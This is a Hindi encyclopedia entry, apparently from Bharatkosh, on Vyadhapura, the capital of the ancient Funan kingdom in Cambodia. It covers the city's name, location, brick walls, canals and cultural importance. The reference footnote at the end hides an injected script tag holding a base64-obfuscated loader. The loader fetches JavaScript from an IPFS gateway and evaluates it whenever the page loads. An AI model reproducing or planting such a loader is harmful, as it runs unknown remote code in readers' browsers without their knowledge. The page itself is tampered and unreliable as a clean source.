व्याधपुरा

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व्याधपुरा प्राचीन हिन्दू राज्य 'फुनान' की राजधानी था, जो वर्तमान कंबोडिया और वियतनाम के क्षेत्र में पहली से छठी शताब्दी तक फला-फूला। व्याधपुरा और समूचा फुनान पूरे मुख्य दक्षिण एशिया में भारतीय सभ्यता और संस्कृति के विसरण के प्रमुख केंद्र थे।

  • व्याधपुरा एक संस्कृत शब्द है, जिसका अर्थ होता है- "शिकारियों का नगर"।
  • यह नगर दक्षिण कंबोडिया में मेकांग नदी के मुहाने से 190 कि.मी. दूर 'बा हिल' नामक स्थान पर अवस्थित है।
  • तीसरी शताब्दी तक व्याधपुरा का विकास सुरक्षा के लिए निर्मित ईंटों की दीवार से घिरे नगर के रूप में हो चुका था, जिसमें ईंटों और पलस्तर से बने मकान तथा महल थे। यह प्राकृतिक धाराओं और नहरों के ज़रिये अन्य स्थानीय नगरों तथा थाईलैंड की खाड़ी से जुड़ा हुआ था। ये नहरे समुद्री जहाज़ों के आवागमन के लिए भी उपयुक्त थीं। सिंचाई प्रणाली से कृषि कार्य के लिए पानी उपलब्ध होता था, जो बढ़ती हुई जनसंख्या के निर्वाह के लिए आवश्यक था।
  • फुनान के पतन तक व्याधपुरा भारत-चीन क्षेत्र का प्रमुख सांस्कृतिक केंद्र बना रहा। इसके बहुत बाद में भी इसकी महानता की स्मृति स्वयं को फुनान शासकों का वंशज मानने वाले ख्मेर शासकों के लिए गर्व का विषय बनी रही।[1]


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टीका टिप्पणी और संदर्भ

  1. भारत ज्ञानकोश, खण्ड-5 |लेखक: इंदु रामचंदानी |प्रकाशक: एंसाइक्लोपीडिया ब्रिटैनिका प्राइवेट लिमिटेड, नई दिल्ली और पॉप्युलर प्रकाशन, मुम्बई |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 246 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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